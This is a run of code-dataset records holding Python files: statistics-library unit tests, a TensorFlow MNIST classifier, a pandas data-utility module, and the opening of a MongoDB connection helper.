self.assertApproxEqual(self.func([x]), x, rel=1e-15)\n\n def testNegative(self):\n # The harmonic mean of negative numbers is allowed.\n data = [1.0, -2.0, 4.0, -8.0]\n assert any(x < 0.0 for x in data)\n self.assertEqual(self.func(data), 4*8/5)\n\n def testZero(self):\n # The harmonic mean of anything with a zero in it should be zero.\n data = [1.0, 2.0, 0.0, 4.0]\n assert any(x == 0.0 for x in data)\n self.assertEqual(self.func(data), 0.0)\n # FIX ME test for signed zeroes?\n\n\nclass UnivarHarmonicMeanColumnTest(test_stats.MeanColumnTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.harmonic_mean\n\n\nclass UnivarHarmonicMeanIEEEValues(test_stats.MeanIEEEValues):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.harmonic_mean\n\n def testMismatchedINFs(self):\n # Harmonic mean laughs at INFs with opposite signs!!!\n inf = float('inf')\n result = self.func([1, inf, -inf, 1])\n self.assertEqual(result, 2.0)\n\n def testINF(self):\n # Harmonic mean laughs at INFs!!!\n inf = float('inf')\n result = self.func([1, inf])\n self.assertEqual(result, 2)\n result = self.func([1, -inf])\n self.assertEqual(result, 2)\n\n\nclass UnivarQuadraticMeanTest(test_stats.MeanTest):\n rel = 1e-8\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n self.expected = 6.19004577259\n\n def testNegative(self):\n data = [-x for x in self.data]\n self.assertApproxEqual(self.func(data), self.expected)\n data = [1.0, -2.0, -3.0, 4.0]\n self.assertEqual(self.func(data), math.sqrt(30/4))\n\n def testZero(self):\n data = [1.0, 2.0, 0.0, 4.0]\n assert any(x == 0.0 for x in data)\n self.assertEqual(self.func(data), math.sqrt(21/4))\n\n\nclass UnivarQuadraticMeanColumnTest(test_stats.MeanColumnTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n\n\nclass UnivarQuadraticMeanIEEEValues(test_stats.MeanIEEEValues):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n\n def testINF(self):\n inf = float('inf')\n # Quadratic mean of either + or -INF is +INF.\n for x in (inf, -inf):\n result = self.func([1, x])\n self.assertEqual(result, inf)\n\n def testMismatchedINFs(self):\n # Quadratic mean of mixed INF is +INF.\n inf = float('inf')\n result = self.func([1, inf, -inf])\n self.assertEqual(result, inf)\n\n\nclass UnivarGeometricMeanTest(test_stats.MeanTest):\n rel = 1e-11\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.geometric_mean\n self.expected = 4.56188290183\n\n def testBigData(self):\n data = [x*1e9 for x in self.data]\n expected = 1e9*self.expected\n self.assertApproxEqual(self.func(data), expected)\n\n def testNegative(self):\n # A single -ve value leads to a NAN.\n data = [1.0, 2.0, -3.0, 4.0]\n assert any(x < 0.0 for x in data)\n result = self.func(data)\n self.assertTrue(math.isnan(result))\n # Two -ve values also lead to a NAN, and do not cancel.\n data = [1.0, 2.0, -3.0, -4.0]\n assert any(x < 0.0 for x in data)\n result = self.func(data)\n self.assertTrue(math.isnan(result))\n\n def testZero(self):\n data = [1.0, 2.0, 0.0, 4.0]\n assert any(x == 0.0 for x in data)\n self.assertEqual(self.func(data), 0.0)\n\n\nclass UnivarGeometricMeanColumnTest(test_stats.MeanColumnTest):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n\n\nclass UnivarGeometricMeanIEEEValues(test_stats.MeanIEEEValues):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.quadratic_mean\n\n @ unittest.skip('getting inf')\n def testINF(self):\n inf = float('inf')\n # Geometric mean of +INF is +INF.\n self.assertEqual(self.func([1, inf]), inf)\n # Geometric mean of -INF is NAN.\n result = self.func([1, -inf])\n self.assertTrue(math.isnan(result), 'expected NAN but got %r' % result)\n\n @ unittest.skip('getting inf')\n def testMismatchedINFs(self):\n # Geometric mean of mixed INF is NAN.\n inf = float('inf')\n result = self.func([1, inf, -inf])\n self.assertTrue(math.isnan(result), 'expected NAN but got %r' % result)\n\n\nclass UnivarMovingAverageTest(test_stats.NumericTestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.moving_average\n\n def testGenerator(self):\n # Test that function is a generator.\n self.assertTrue(inspect.isgeneratorfunction(self.func))\n\n def testFinal(self):\n # Test the final result has the expected value.\n data = [1, 2, 3, 4, 5, 6, 7, 8]\n results = list(self.func(data))\n self.assertEqual(results[-1], 7.0)\n\n def testResultsWithDefaultWindow(self):\n data = [5, 8, 7, 11, 4, 10, 9]\n results = list(self.func(data))\n expected = map(lambda x: x/3, [20, 26, 22, 25, 23])\n self.assertEqual(results, list(expected))\n\n def testWindowSize(self):\n data = [5, 7, 2, 8, 6, 7, 4, 5, 9, 7, 3]\n results = list(self.func(data, 4))\n expected = map(lambda x: x/4, [22, 23, 23, 25, 22, 25, 25, 24])\n self.assertEqual(results, list(expected))\n results = list(self.func(data, 5))\n expected = map(lambda x: x/5, [28, 30, 27, 30, 31, 32, 28])\n self.assertEqual(results, list(expected))\n\n def testBadWindow(self):\n it = self.func([5, 4, 3, 2, 1], 6)\n self.assertRaises(ValueError, next, it)\n\n\nclass UnivarAverageDeviationTest(\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.average_deviation\n self.extras = [(), (1,), (-2.5,), (None,)]\n\n def testSuppliedMean(self):\n # Test that pre-calculating the mean gives the same result.\n for data in (range(35), range(-17, 53, 7), range(11, 79, 3)):\n data = list(data)\n random.shuffle(data)\n m = stats.mean(data)\n result1 = self.func(data)\n result2 = self.func(data, m)\n self.assertEqual(result1, result2)\n\n def testSingleton(self):\n self.assertEqual(self.func([42]), 0)\n self.assertEqual(self.func([42], 40), 2)\n\n def testMain(self):\n data = [-1.25, 0.5, 0.5, 1.75, 3.25, 4.5, 4.5, 6.25, 6.75, 9.75]\n expected = 2.7\n for delta in (0, 100, 1e6, 1e9):\n self.assertEqual(self.func(x+delta for x in data), expected)\n\n\nclass UnivarPearsonSkewnessTest(test_stats.NumericTestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.pearson_skewness\n\n def testFailure(self):\n # Test that stdev must be positive.\n self.assertRaises(ValueError, self.func, 2, 3, -1)\n self.assertRaises(ValueError, self.func, 3, 2, -5)\n\n def testNan(self):\n # Test that a numerator and denominator of zero returns NAN.\n self.assertTrue(math.isnan(self.func(5, 5, 0)))\n self.assertTrue(math.isnan(self.func(42, 42, 0)))\n\n def testInf(self):\n # Test that a non-zero numerator and zero denominator returns INF.\n self.assertTrue(math.isinf(self.func(3, 2, 0)))\n self.assertTrue(math.isinf(self.func(2, 3, 0)))\n\n def testZero(self):\n # Test that a zero numerator and non-zero denominator returns zero.\n self.assertEqual(self.func(3, 3, 1), 0)\n self.assertEqual(self.func(42, 42, 7), 0)\n\n def testSkew(self):\n # Test skew calculations.\n self.assertEqual(self.func(2.5, 2.25, 2.5), 0.1)\n self.assertEqual(self.func(225, 250, 25), -1.0)\n\n\nclass UnivarSkewnessTest(\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n\n tol = 1e-15\n rel = 1e-15\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.skewness\n\n def testSingleData(self):\n # Override mixin method.\n self.assertRaises(ValueError, self.func, [42])\n\n def test_uniform(self):\n # Compare the calculated skewness against an exact result\n # calculated from a uniform distribution.\n data = range(10000)\n self.assertEqual(self.func(data), 0.0)\n data = [x + 1e9 for x in data]\n self.assertEqual(self.func(data), 0.0)\n\n def get_non_uniform_data(self):\n d = list(range(1, 1500, 3))\n d.extend(range(2, 1000, 3))\n d.extend(range(10, 50, 2))\n d.extend(range(230, 260))\n d.extend(range(100, 400, 2))\n d.extend(range(151, 250, 2))\n d.extend(range(300, 450, 7))\n d.extend(range(800, 900, 4))\n d.extend(range(2000, 2010))\n random.shuffle(d)\n return d\n\n def testShuffled(self):\n data = self.get_non_uniform_data()\n a = self.func(data)\n random.shuffle(data)\n b = self.func(data)\n self.assertEqual(a, b)\n\n def testShifted(self):\n data = self.get_non_uniform_data()\n a = self.func(data)\n b = self.func(x+1e6 for x in data)\n self.assertApproxEqual(a, b, tol=1e-12)\n\n def testMeanGiven(self):\n # Giving the sample mean shouldn't change the result.\n data = self.get_non_uniform_data()\n a = self.func(data)\n m = stats.mean(data)\n b = self.func(data, m)\n self.assertEqual(a, b)\n\n def testStdevGiven(self):\n # Giving the sample stdev shouldn't change the result.\n data = self.get_non_uniform_data()\n a = self.func(data)\n m = stats.mean(data)\n s = stats.stdev(data, m)\n b = self.func(data, None, s)\n self.assertEqual(a, b)\n\n def testMeanStdevGiven(self):\n # Giving both the mean and stdev shouldn't change the result.\n data = self.get_non_uniform_data()\n a = self.func(data)\n m = stats.mean(data)\n s = stats.stdev(data, m)\n b = self.func(data, m, s)\n self.assertEqual(a, b)\n\n def test_exact_result(self):\n # Test against a hand-calculated result.\n data = [1, 1, 2, 2, 2, 3, 4]\n expected = math.sqrt(13446972/37933056)\n self.assertApproxEqual(self.func(data), expected)\n\n\nclass UnivarStErrMeanTest(test_stats.NumericTestCase):\n tol=1e-11\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.sterrmean\n\n def testBadStdev(self):\n # Negative stdev is bad.\n self.assertRaises(ValueError, self.func, -1, 2)\n self.assertRaises(ValueError, self.func, -1, 2, 3)\n\n def testBadSizes(self):\n # Negative sample or population sizes are bad.\n self.assertRaises(ValueError, self.func, 1, -2)\n self.assertRaises(ValueError, self.func, 1, -2, 3)\n self.assertRaises(ValueError, self.func, 1, 2, -3)\n # So are fractional sizes.\n self.assertRaises(ValueError, self.func, 1, 2.5)\n self.assertRaises(ValueError, self.func, 1, 2.5, 3)\n self.assertRaises(ValueError, self.func, 1, 2.5, 3.5)\n self.assertRaises(ValueError, self.func, 1, 2, 3.5)\n\n def testPopulationSize(self):\n # Population size must not be less than sample size.\n self.assertRaises(ValueError, self.func, 1, 100, 99)\n # But equal or greater is allowed.\n self.assertEqual(self.func(1, 100, 100), 0.0)\n self.assertTrue(self.func(1, 100, 101))\n\n def testZeroStdev(self):\n for n in (5, 10, 25, 100):\n self.assertEqual(self.func(0.0, n), 0.0)\n self.assertEqual(self.func(0.0, n, n*10), 0.0)\n\n def testZeroSizes(self):\n for s in (0.1, 1.0, 32.1):\n x = self.func(s, 0)\n self.assertTrue(math.isinf(x))\n x = self.func(s, 0, 100)\n self.assertTrue(math.isinf(x))\n x = self.func(s, 0, 0)\n self.assertTrue(math.isnan(x))\n\n def testResult(self):\n self.assertEqual(self.func(0.25, 25), 0.05)\n self.assertEqual(self.func(1.0, 100), 0.1)\n self.assertEqual(self.func(2.5, 16), 0.625)\n\n def testFPC(self):\n self.assertApproxEqual(\n self.func(0.25, 25, 100), 0.043519413989)\n self.assertApproxEqual(\n self.func(1.0, 100, 150), 5.79284446364e-2)\n self.assertApproxEqual(\n self.func(2.5, 16, 20), 0.286769667338)\n\n\nclass UnivarStErrSkewnessTest(test_stats.NumericTestCase):\n tol=1e-12\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.sterrskewness\n\n def testBadSize(self):\n # Negative sample size is bad.\n self.assertRaises(ValueError, self.func, -2)\n # So is fractional sample size.\n self.assertRaises(ValueError, self.func, 2.5)\n\n def testZero(self):\n x = self.func(0)\n self.assertEqual(x, float('inf'))\n\n def testResult(self):\n self.assertEqual(self.func(6), 1.0)\n self.assertApproxEqual(self.func(10), 0.774596669241)\n self.assertApproxEqual(self.func(20), 0.547722557505)\n self.assertEqual(self.func(24), 0.5)\n self.assertApproxEqual(self.func(55), 0.330289129538)\n\n\nclass UnivarStErrKurtosisTest(test_stats.NumericTestCase):\n tol=1e-12\n rel=2e-12\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.sterrkurtosis\n\n def testBadSize(self):\n # Negative sample size is bad.\n self.assertRaises(ValueError, self.func, -2)\n # So is fractional sample size.\n self.assertRaises(ValueError, self.func, 2.5)\n\n def testZero(self):\n x = self.func(0)\n self.assertEqual(x, float('inf'))\n\n def testResult(self):\n self.assertEqual(self.func(6), 2.0)\n self.assertApproxEqual(self.func(10), 1.54919333848)\n self.assertApproxEqual(self.func(20), 1.09544511501)\n self.assertEqual(self.func(24), 1.0)\n self.assertApproxEqual(self.func(55), 0.660578259076)\n\n\nclass UnivarCircularMeanTest(\n test_stats.UnivariateMixin,\n test_stats.NumericTestCase\n ):\n tol = 1e-12\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.circular_mean\n\n def testDefaultDegrees(self):\n # Test that degrees are the default.\n data = [355, 5, 15, 320, 45]\n theta = self.func(data)\n phi = self.func(data, True)\n assert self.func(data, False) != theta\n self.assertEqual(theta, phi)\n\n def testRadians(self):\n # Test that degrees and radians (usually) give different results.\n data = [355, 5, 15, 320, 45]\n a = self.func(data, True)\n b = self.func(data, False)\n self.assertNotEquals(a, b)\n\n def testSingleton(self):\n for x in (-1.0, 0.0, 1.0, 3.0):\n self.assertEqual(self.func([x], False), x)\n self.assertApproxEqual(self.func([x], True), x)\n\n def testNegatives(self):\n data1 = [355, 5, 15, 320, 45]\n theta = self.func(data1)\n data2 = [d-360 if d > 180 else d for d in data1]\n phi = self.func(data2)\n self.assertApproxEqual(theta, phi)\n\n def testIter(self):\n theta = self.func(iter([355, 5, 15]))\n self.assertApproxEqual(theta, 5.0)\n\n def testSmall(self):\n t = self.func([0, 360])\n self.assertApproxEqual(t, 0.0)\n t = self.func([10, 20, 30])\n self.assertApproxEqual(t, 20.0)\n t = self.func([355, 5, 15])\n self.assertApproxEqual(t, 5.0)\n\n def testFullCircle(self):\n # Test with angle > full circle.\n theta = self.func([3, 363])\n self.assertApproxEqual(theta, 3)\n\n def testBig(self):\n pi = math.pi\n # Generate angles between pi/2 and 3*pi/2, with expected mean of pi.\n delta = pi/1000\n data = [pi/2 + i*delta for i in range(1000)]\n data.append(3*pi/2)\n assert data[0] == pi/2\n assert len(data) == 1001\n random.shuffle(data)\n theta = self.func(data, False)\n self.assertApproxEqual(theta, pi)\n # Now try the same with angles in the first and fourth quadrants.\n data = [0.0]\n for i in range(1, 501):\n data.append(i*delta)\n data.append(2*pi - i*delta)\n assert len(data) == 1001\n random.shuffle(data)\n theta = self.func(data, False)\n self.assertApproxEqual(theta, 0.0)\n\n\nclass UnivarModeTest(test_stats.NumericTestCase):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.func = stats.univar.mode\n self.data = [\n 1,\n 2, 2,\n 3,\n 4, 4, 4,\n 5, 5, 5, 5, 5,\n 6, 6,\n 7,\n 8,\n ]\n self.expected = 5\n\n def setUp(self):\n random.shuffle(self.data)\n\n def testNoMode(self):\n data = list(set(self.data))\n self.assertRaises(ValueError, self.func, data)\n\n def testMode(self):\n self.assertEqual(self.func(self.data), self.expected)\n\n def testNominal(self):\n data = [\"yellow\"]*8 + [\"blue\"]*5 + [\"red\"]*5 + [\"green\"]*4\n random.shuffle(data)\n self.assertEqual(self.func(data), \"yellow\")\n\n def testBimodalNominal(self):\n data = [\"yellow\"]*8 + [\"blue\"]*8 + [\"red\"]*4 + [\"green\"]*2\n random.shuffle(data)\n self.assertRaises(ValueError, self.func, data)\n\n def testBimodal(self):\n data = self.data[:]\n n = data.count(self.expected)\n data.extend([0]*n)\n random.shuffle(data)\n assert data.count(0) == n\n self.assertRaises(ValueError, self.func, data)\n\n\n\n# === Run tests ===\n\ndef test_main():\n unittest.main()\n\n\nif __name__ == '__main__':\n test_main()\n\n","sub_path":"pycalcstats/src/test_stats_extras.py","file_name":"test_stats_extras.py","file_ext":"py","file_size_in_byte":74370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"457811650","text":"\"\"\"\nA mid-level implementation of a convolutional neural network \nfor MNIST classification using tensorflow.keras.layers\nAuthor: Sebastian Gottwald\nProject: https://github.com/sgttwld/classification\nDate: 2019-05-25\n\"\"\"\n\nimport numpy as np\nimport tensorflow as tf\nimport math, os, sys, time\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \n\n## custom progress bar\ndef print_progress(i, tot, acc, acc_str, bar_length=30, wait=False):\n\tfilled_length = int(round(bar_length * i / tot))\n\t# bar = '█' * filled_length + '-' * (bar_length - filled_length)\n\tbar = '|' * filled_length + '-' * (bar_length - filled_length)\n\tsys.stdout.write('\\r%s/%s |%s| %s %s' % (i, tot, bar, acc_str+':', acc)),\n\tif i == tot-1 and not(wait):\n\t\tsys.stdout.write('\\n')\n\tsys.stdout.flush()\n\n## import MNIST data, normalize, and reshape\n(x_train, y_train), (x_test, y_test) = tf.keras.datasets.mnist.load_data()\nx_train, x_test = x_train/255, x_test/255\nx_train = x_train.reshape((60000,28,28,1))\nx_test = x_test.reshape((10000,28,28,1))\n\n## algorithm paramters\nlr = .001\t\t# learning rate\nbs = 32\t\t\t# batch size\nnumEp = 30\t\t# number of episodes\n\n## placeholders for data\nX = tf.placeholder(tf.float64,[None,28,28,1])\nY = tf.placeholder(tf.int64,[None])\nY_1hot = tf.one_hot(Y,10,dtype=tf.float64)\n\n## model\nC = tf.keras.layers.Conv2D(4, (5, 5), activation='relu', input_shape=(28, 28,1))(X)\nP = tf.keras.layers.AvgPool2D((2, 2))(C)\nF = tf.keras.layers.Flatten()(P)\np = tf.keras.layers.Dense(10, activation='softmax')(F)\n\n## objective/loss\nobj = -tf.reduce_mean(Y_1hot*tf.log(p)) \t# cross entropy\n\n## classification accuracy (for evaluation)\npercent_corr = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(p,axis=1),Y),tf.float64))\nerr = 1-percent_corr\n\n## optimizer\noptimizer = tf.contrib.optimizer_v2.AdamOptimizer(learning_rate=lr,beta1=.9, beta2=.999,epsilon=1e-08)\n# optimizer = tf.train.AdamOptimizer(learning_rate=lr,beta1=.9, beta2=.999,epsilon=1e-08,name='Adam')\ntrain_op = optimizer.minimize(obj)\n\n## initializer\ninit = tf.global_variables_initializer()\n\n## running the TF session\nwith tf.Session() as sess:\n\n\t## initializing\n\tsess.run(init)\n\n\tfor n in range(0,numEp):\n\t\tnumBatches = math.floor(len(x_train)/bs)\n\t\tt0, acc = time.time(), 0\n\t\t\n\t\tprint('Ep:',n)\n\t\tfor b in range(0,numBatches):\n\t\t\tbatch_X, batch_Y = x_train[b*bs:(b+1)*bs], y_train[b*bs:(b+1)*bs]\n\t\t\tsess.run(train_op,feed_dict={X: batch_X, Y: batch_Y})\n\t\t\tacc = (b * acc + percent_corr.eval(session=sess,feed_dict={X:batch_X,Y:batch_Y}))/(b+1)\n\t\t\tprint_progress(b, numBatches, round(acc,5), acc_str='acc', wait=True)\n\t\t\n\t\tT = round(time.time()-t0,2)\n\t\tacc_test = percent_corr.eval(session=sess,feed_dict={X:x_test,Y:y_test})\n\t\tsys.stdout.write(' time: %s test-acc: %s (error: %s%%)\\n' % \n\t\t\t\t\t\t(T, round(acc_test,3), round((1-acc_test)*100,3)))\n\n\t\t\n\n","sub_path":"3_CNN_midlevel.py","file_name":"3_CNN_midlevel.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"116276763","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nfrom secondary_module import isNaN\nfrom collections import Counter\n\n\n# In[2]:\n\n\ndef nafill(df, *colnames):\n \"\"\"\n nafill function fills nan cells with mean of each column.\n df -> dataframe\n *colnames -> names of the columns whete nans' must be filled\n \"\"\"\n columns = list(colnames)\n n = len(columns)\n height = df.shape[0]\n for i in range(n):\n for j in range(height):\n if np.isnan(df[columns[i]][j]):\n df[columns[i]][j] = df[columns[i]].mean()\n return df\n\n\n# In[3]:\n\n\ndef dropna(df):\n \"\"\"\n Delete rows that contain nans.\n df -> dataframe.\n \"\"\"\n lst = []\n nd = np.array(df)\n for i in range(nd.shape[0]):\n for j in range(nd.shape[1]):\n if isNaN(nd[i][j]):\n lst.append(i)\n indx = set([i for i in range(len(df))])\n not_nan = list(set(indx).difference(set(lst)))\n drop_nan = nd[not_nan]\n return drop_nan\n\n\n# In[4]:\n\n\ndef summary(df):\n \"\"\"\n The summary function summarizes the dataframe by columns.\n df -> dataframe\n \"\"\"\n a = df.columns\n for i in range(len(df.columns)):\n if np.issubdtype(df[a[i]].dtype, np.number):\n keys = [\"Count\",\"Min\",\"1st Q\",\"Median\",\"3rd Q\", \"Max\", \"Mean\", \"St. dev\"]\n values = [df[a[i]].count(), df[a[i]].min(), np.quantile(df[a[i]], 0.25), df[a[i]].median(), \n np.quantile(df[a[i]], 0.75), df[a[i]].max(), df[a[i]].mean(), df[a[i]].std()]\n \n elif np.issubdtype(df[a[i]].dtype, np.datetime64):\n keys = [\"Min\",\"Mean\", \"Max\"]\n values = [df[a[i]].min(), df[a[i]].min(), df[a[i]].max()]\n\n elif np.issubdtype(df[a[i]].dtype, np.bool_):\n keys = [\"Levels\", \"Frequency\"]\n values = [np.unique(df[a[i]]),np.unique(df[a[i]], return_counts=True)]\n elif np.issubdtype(df[a[i]].dtype, np.object_):\n keys = [\"Count\", \"Unique\"]\n values = [df[a[i]].count(), len(np.unique(df[a[i]]))]\n\n else:\n continue\n \n d = dict(zip(keys, values))\n print(a[i])\n \n for k, v in d.items():\n print(k,\": \", v)\n print('\\n') \n\n\n# In[5]:\n\n\ndef normalization(df, type = \"zscore\"):\n \"\"\"\n Normalization function can normalize the data by two methods. \n df -> dataframe\n type -> The method used for normalization. The defualt option is the z-score method. And the optional one is the \n \"\"\"\n if type == \"zscore\":\n for i in range(len(df.columns)):\n a = df.columns\n if np.issubdtype(df[a[i]].dtype, np.number):\n avg = df[a[i]].mean()\n sd = df[a[i]].std()\n for j in range(len(df[a[i]])):\n df[a[i]][j] = (df[a[i]][j] - avg)/(sd)\n else:\n continue\n elif type == 'minmax':\n for i in range(len(df.columns)):\n a = df.columns\n if np.issubdtype(df[a[i]].dtype, np.number):\n maximum = df[a[i]].max()\n minimum = df[a[i]].min()\n for j in range(len(df[a[i]])):\n df[a[i]][j] = (df[a[i]][j] - minimum)/(maximum - minimum)\n else:\n continue\n else:\n Print(\"Only two types of normalization are available: zscore and minmax\")\n return df\n \n\n\n# In[6]:\n\n\ndef change(df, old, new, symmetry_type = 'symmetric', difference_type = 'logarithmic'):\n \"\"\"\n With this function you can calculate difference(change) between two variables expressed in percentages.\n df -> dataframe\n old -> old value column denominator\n new -> new value column numerator\n symmetry_type -> contains three types of symmetries. 1)symmetric: takes values from the same row. \n 2)Updown: takes the values for numerator from row below and the values for denominator \n from the row above.\n 3)lag: calculates the difference between current and previous(lagged) values\n difference_type -> logarithmic is the most important approach. However, the only problem is that all the variables \n must be either negative or positive. \n Otherwise, there will be an error. In that case the difference will be calculated\n in the classical way.\n \n \"\"\"\n change = []\n n = df.shape[0]\n if symmetry_type == 'symmetric':\n if difference_type == 'logarithmic':\n for i in range(n):\n a = np.log(df[new][i] / df[old][i])\n change.append(a)\n else:\n for i in range(n):\n a = (df[new][i] - df[old][i]) / df[old][i]\n change.append(a)\n elif symmetry_type == 'updown':\n if difference_type == 'logarithmic':\n for i in range(n-1):\n a = np.log(df[new][i+1] / df[old][i])\n change.append(a)\n else:\n for i in range(n-1):\n a = (df[new][i] - df[old][i]) / df[old][i]\n change.append(a)\n elif symmetry_type == 'lag':\n print(\"Warning!!! for lag type function use only old column and calculate lag\")\n if difference_type == 'logarithmic':\n for i in range(n-1):\n a = np.log(df[old][i+1]/df[old][i])\n change.append(a)\n else:\n for i in range(n-1):\n a = (df[new][i] - df[old][i]) / df[old][i]\n change.append(a)\n return change\n\n\n# In[7]:\n\n\ndef pivoting(df, row, column, values):\n \"\"\"\n Pivoting function helps to look at the dataframe in the shape that the user wants.\n df -> dataframe\n row -> which column must be transformed into a row in pivot\n column -> which column must be transformed into a column in pivot\n values -> the variable the pivot must be filled with \n \"\"\"\n data = df[[row, column, values]].to_numpy()\n rows, row_pos = np.unique(data[:, 0], return_inverse=True)\n cols, col_pos = np.unique(data[:, 1], return_inverse=True)\n row_pos = np.sort(row_pos)\n col_pos = np.sort(col_pos)\n col_pos = np.tile(np.unique(col_pos), len(row_pos))\n pivot_table = np.zeros((len(rows), len(cols)), dtype=data.dtype)\n pivot_table[row_pos, col_pos[0:len(row_pos)]] = data[:, 2]\n return pivot_table\n\n\n# In[8]:\n\n\ndef pivvottable(df, row, column, value, function = 'median'):\n \"\"\"\n pivvottable creates a pivot table and makes a summary grouped by a row and a column\n df -> dataframe\n row -> which column must be transformed into a row in pivot\n column -> which column must be transformed into a column in pivot\n values -> the variable the pivot must be filled with \n function -> function that aggregates the pivot table\n \"\"\"\n data = df[[row, column, value]].to_numpy()\n rows, row_pos = np.unique(data[:, 0], return_inverse = True)\n cols, col_pos = np.unique(data[:, 1], return_inverse = True)\n new_list = []\n for i in range(len(rows)):\n a = df.copy()\n a = a[a[row]== rows[i]]\n for j in range(len(cols)):\n b = a.copy()\n b = b[b[column] == cols[j]]\n if function == 'mean':\n c = b[value].mean()\n elif function == 'min':\n c = b[value].min()\n elif function == 'max':\n c = b[value].max()\n elif function == 'median':\n c = b[value].median()\n elif function == 'standard deviation':\n c = b[value].std()\n else:\n print(\"Please enter 'min' or 'max' or 'mean' or 'median' or 'standard deviation'\")\n new_list.append(c) \n pivottable = np.array(new_list).reshape(len(rows), len(cols))\n return pivottable\n\n\n# In[9]:\n\n\ndef grouppby(data, colname, function):\n \"\"\"\n Group by groups data frame by a specified column and aggregates by specified function.\n data -> dataframe\n colname -> column that the groupping is based on.\n function -> aggregation function.\n \"\"\"\n df = data.copy()\n b = data.columns\n a = []\n for i in range(len(b)):\n if np.issubdtype(df[b[i]].dtype, np.number):\n a.append(b[i])\n print(a)\n n = len(a)\n uniques = data[colname].unique()\n u = len(uniques)\n full = [[None] * n] * u\n for k in range(u):\n filtered = data[data[colname] == uniques[k]]\n for j in range(n):\n if function == 'minimum':\n full[k][j] = filtered[a[j]].min()\n elif function == 'maximum':\n full[k][j] = filtered[a[j]].max()\n elif function == 'mean':\n full[k][j] = filtered[a[j]].mean()\n elif function == 'median':\n full[k][j] = filtered[a[j]].median()\n elif function == 'standard deviation':\n full[k][j] = filtered[a[j]].std()\n else:\n print(\"Please enter 'min' or 'max' or 'mean' or 'median' or 'sd'\")\n print(uniques[k], full[k])\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"final project/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":9137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"}
+{"seq_id":"529940935","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom pymongo import ReadPreference, MongoClient\nfrom pymongo.database import Database\nfrom Application import app_config\n#from Application.util.request_context import RequestContext\nfrom Application.database.mongo_db.ping_collection import PingCollection\n\n\ndef mongo_collection(f):\n \"\"\"Ensures that the connection to the database is established before returning the collection\n\n :param f: The function that returns the collection\n :return: The wrapper that ensures the connection\n \"\"\"\n\n # We cannot have decorators in the class, but we are using this: https://stackoverflow.com/a/11731208/4620080\n def wrapper(*args, **kwargs):\n # self is the first argument\n self = args[0] # type: MongoDB\n\n if self._mongo_client is None:\n _kwargs = {}\n # Check if we are using a replica set\n if isinstance(app_config.MONGO_HOST, list):\n # The replica set read preference for this client. One of primary, primaryPreferred, secondary,\n # secondaryPreferred, or nearest. Defaults to primary\n _kwargs['read_preference'] = ReadPreference.SECONDARY_PREFERRED\n # If this is a replica set, write operations will block until they have been replicated to the specified\n # number or tagged set of servers. w= always includes the replica set primary (e.g. w=3 means write\n # to the primary and wait until replicated to two secondaries). Passing w=0 disables write\n # acknowledgement and all other write concern options\n _kwargs['w'] = 'majority'\n # Used in conjunction with w. Specify a value in milliseconds to control how long to wait for write\n # propagation to complete. If replication does not complete in the given timeframe, a timeout exception\n # is raised.\n _kwargs['wtimeout'] = 2000\n # If True block until write operations have been committed to the journal. Cannot be used in combination\n # with fsync. Prior to MongoDB 2.6 this option was ignored if the server was running without journaling.\n # Starting with MongoDB 2.6 write operations will fail with an exception if this option is used when the\n # server is running without journaling.\n _kwargs['j'] = True\n\n # Tell the client that we are using a replica set\n _kwargs['replicaSet'] = app_config.MONGO_REPLICA_SET_NAME\n\n # Check if we are using a SSL connection\n if app_config.MONGO_CERTFILE is not None or app_config.MONGO_CA_CERTS is not None:\n _kwargs['ssl'] = True\n _kwargs['ssl_ca_certs'] = app_config.MONGO_CA_CERTS\n _kwargs['ssl_certfile'] = app_config.MONGO_CERTFILE\n\n # Connect to the server\n mongo_client = MongoClient(\n host=app_config.MONGO_HOST,\n port=app_config.MONGO_PORT,\n **_kwargs\n )\n # Switch to the correct database\n db = mongo_client[app_config.MONGO_DB]\n # Authenticate to the database\n db.authenticate(name=app_config.MONGO_USER, password=app_config.MONGO_PASSWORD)\n\n self._mongo_client = mongo_client\n self._mongo_database = db\n # We are now certain that a connection to the database have been established, call the decorated function\n return f(*args, **kwargs)\n\n return wrapper\n\n\nclass MongoDB(object):\n \"\"\"\n\n :type _mongo_client: MongoClient\n :type _mongo_database: 